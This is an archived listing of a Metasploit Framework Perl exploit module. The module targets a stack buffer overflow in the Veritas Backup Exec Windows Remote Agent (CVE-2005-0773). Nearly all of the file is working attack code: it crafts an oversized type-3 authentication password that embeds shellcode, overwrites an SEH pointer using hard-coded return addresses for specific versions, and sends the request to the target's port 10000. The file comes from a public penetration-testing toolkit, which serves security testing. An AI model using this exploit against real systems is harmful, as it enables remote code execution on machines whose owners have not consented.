home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / usr / lib / metasploit / exploits / backupexec_agent.pm < prev    next >
Text File  |  2006-06-30  |  6KB  |  208 lines

  1.  
  2. ##
  3. # This file is part of the Metasploit Framework and may be redistributed
  4. # according to the licenses defined in the Authors field below. In the
  5. # case of an unknown or missing license, this file defaults to the same
  6. # license as the core Framework (dual GPLv2 and Artistic). The latest
  7. # version of the Framework can always be obtained from metasploit.com.
  8. ##
  9.  
  10. package Msf::Exploit::backupexec_agent;
  11. use base "Msf::Exploit";
  12. use strict;
  13. use Pex::Text;
  14.  
  15. my $advanced = { };
  16.  
  17. my $info =
  18.   {
  19.     'Name'      => 'Veritas Backup Exec Windows Remote Agent Overflow',
  20.     'Version'      => '$Revision: 1.9 $',
  21.     'Authors'     => [ 'Thor Doomen <syscall [at] hushmail.com>' ],
  22.     'Arch'      => [ 'x86' ],
  23.     'OS'        => [ 'win32', 'winnt', 'win2000', 'winxp', 'win2003' ],
  24.     'Priv'      => 1,
  25.  
  26.     'AutoOpts'    => { 'EXITFUNC' => 'process' },
  27.  
  28.     'UserOpts'    =>
  29.       {
  30.         'RHOST' => [1, 'ADDR', 'The target address'],
  31.         'RPORT' => [1, 'PORT', 'The target port', 10000],
  32.       },
  33.  
  34.     'Payload' =>
  35.       {
  36.         'Space'     => 1024,
  37.         'BadChars'  => "\x00",
  38.         'Keys'        => ['+ws2ord'],
  39.         'Prepend' => "\x81\xc4\x54\xf2\xff\xff",    # add esp, -3500
  40.       },
  41.  
  42.     'Description'  => Pex::Text::Freeform(qq{
  43.         This module exploits a stack overflow in the Veritas BackupExec Windows
  44.     Agent software. This vulnerability occurs when a client authentication request
  45.     is received with type '3' and a long password argument. Reliable execution is 
  46.     obtained by abusing the stack overflow to smash a SEH pointer.
  47. }),
  48.  
  49.     'Refs' =>
  50.       [
  51.           ['OSVDB', '17624'],      
  52.         ['CVE', '2005-0773' ],
  53.         ['URL', 'http://www.idefense.com/application/poi/display?id=272&type=vulnerabilities'],
  54.         ['URL', 'http://seer.support.veritas.com/docs/276604.htm' ],
  55.         ['MIL', '9'],
  56.       ],
  57.  
  58.     'DefaultTarget' => 0,
  59.     'Targets' =>
  60.       [
  61.         ['Veritas BE 9.0/9.1/10.0 (All Windows)',  0x0140f8d5, 0x014261b0 ],
  62.         ['Veritas BE 9.0/9.1/10.0 (Windows 2000)', 0x75022ac4, 0x75022ac4 ],
  63.       ],
  64.  
  65.     'Keys' => ['veritas'],
  66.   };
  67.  
  68. sub new {
  69.     my $class = shift;
  70.     my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
  71.     return($self);
  72. }
  73.  
  74. # Version 4.2 -> 9.1
  75. # Version 5.1 -> 10.0
  76. sub Check {
  77.     my $self = shift;
  78.     my ($vend, $prod, $vers) = $self->GetVersion;
  79.  
  80.     if (! $vend) {
  81.         $self->PrintLine("[*] Could not determine the version number");
  82.         return $self->CheckCode('Unknown');
  83.     }
  84.  
  85.     $self->PrintLine("[*] $prod Version $vers ($vend)");
  86.     return $self->CheckCode('Detected');
  87. }
  88.  
  89. sub Exploit {
  90.     my $self        = shift;
  91.     my $target_host = $self->GetVar('RHOST');
  92.     my $target_port = $self->GetVar('RPORT');
  93.     my $target_idx  = $self->GetVar('TARGET');
  94.     my $shellcode   = $self->GetVar('EncodedPayload')->Payload;
  95.     my $target      = $self->Targets->[$target_idx];
  96.  
  97.     $self->PrintLine( "[*] Attempting to exploit " . $target->[0] );
  98.  
  99.     my $s = Msf::Socket::Tcp->new(
  100.         'PeerAddr'  => $target_host,
  101.         'PeerPort'  => $target_port,
  102.         'LocalPort' => $self->GetVar('CPORT'),
  103.         'SSL'       => $self->GetVar('SSL'),
  104.       );
  105.  
  106.     if ( $s->IsError ) {
  107.         $self->PrintLine( '[*] Error creating socket: ' . $s->GetError );
  108.         return;
  109.     }
  110.  
  111.     my $res = $s->Recv(4, 5);
  112.     $res = $s->Recv(unpack('N', $res) - 0x80000000, 5);
  113.  
  114.     my $username = "X" x 512;
  115.     my $password = Pex::Text::PatternCreate(8192);
  116.  
  117.     # Place our payload early in the request and jump backwards into it
  118.     substr($password, 3536-length($shellcode), length($shellcode), $shellcode);
  119.  
  120.     # This offset is required for version 10.0
  121.     substr($password, 3536, 2, "\xeb\x06");
  122.     substr($password, 3540, 4, pack('V', $target->[2]) );
  123.     substr($password, 3544, 5, "\xe9" . pack('V', -1037));
  124.  
  125.     # This offset is required for version 9.0/9.1
  126.     substr($password, 4524, 2, "\xeb\x06");
  127.     substr($password, 4528, 4, pack('V', $target->[1]) );
  128.     substr($password, 4532, 5, "\xe9" . pack('V', -2025));
  129.  
  130.     my $conn_auth =
  131.       pack('N', 1).         # Sequence number
  132.       pack('N', time()).    # Current time
  133.       pack('N', 0).         # Message type (request)
  134.       pack('N', 0x901).     # Message name (connect_client_auth)
  135.       pack('N', 0).         # Reply sequence number
  136.       pack('N', 0).         # Error status
  137.       pack('N', 3).         # Authentication type
  138.       pack('N', length($username)).
  139.       $username.
  140.       pack('N', length($password)).
  141.       $password.
  142.       pack('N', 4);
  143.  
  144.     $self->PrintLine( "[*] Sending authentication request of " . length($conn_auth) . " bytes..." );
  145.     $s->Send(pack('N', 0x80000000 + length($conn_auth)) . $conn_auth);
  146.  
  147.     return;
  148. }
  149.  
  150. sub GetVersion {
  151.     my $self        = shift;
  152.     my $target_host = $self->GetVar('RHOST');
  153.     my $target_port = $self->GetVar('RPORT');
  154.  
  155.     my $s = Msf::Socket::Tcp->new(
  156.         'PeerAddr'  => $target_host,
  157.         'PeerPort'  => $target_port,
  158.         'LocalPort' => $self->GetVar('CPORT'),
  159.         'SSL'       => $self->GetVar('SSL'),
  160.       );
  161.  
  162.     if ( $s->IsError ) {
  163.         $self->PrintLine( '[*] Error creating socket: ' . $s->GetError );
  164.         return undef;
  165.     }
  166.  
  167.     my $res = $s->Recv(4, 5);
  168.     return undef if ! $res;
  169.     $res = $s->Recv(unpack('N', $res) - 0x80000000, 5);
  170.  
  171.     my $serv_info =
  172.       pack('N', 1).         # Sequence number
  173.       pack('N', time()).    # Current time
  174.       pack('N', 0).         # Message type (request)
  175.       pack('N', 0x108).     # Message name (connect_client_auth)
  176.       pack('N', 0).         # Reply sequence number
  177.       pack('N', 0);         # Error status
  178.  
  179.     $s->Send(pack('N', 0x80000000 + length($serv_info)) . $serv_info);
  180.     $res = $s->Recv(4, 5);
  181.     return undef if ! $res;
  182.     
  183.     $res = $s->Recv(unpack('N', $res) - 0x80000000, 5);
  184.     $s->Close;
  185.  
  186.     # Skip past the protocols headers
  187.     $res         = substr($res, 28);
  188.  
  189.     # Vendor
  190.     my $vend_len = unpack('N', substr($res, 0, 4));
  191.     my $vend     = substr($res, 4, $vend_len);
  192.     $res         = substr($res, 4 + $vend_len + 1);
  193.  
  194.     # Product
  195.     my $prod_len = unpack('N', substr($res, 0, 4));
  196.     my $prod     = substr($res, 4, $prod_len);
  197.     $res         = substr($res, 4 + $prod_len + 1);
  198.  
  199.     # Version
  200.     my $vers_len = unpack('N', substr($res, 0, 4));
  201.     my $vers     = substr($res, 4, $vers_len);
  202.     $res         = substr($res, 4 + $vers_len + 1);
  203.  
  204.     return ($vend, $prod, $vers);
  205. }
  206.  
  207. 1;
  208.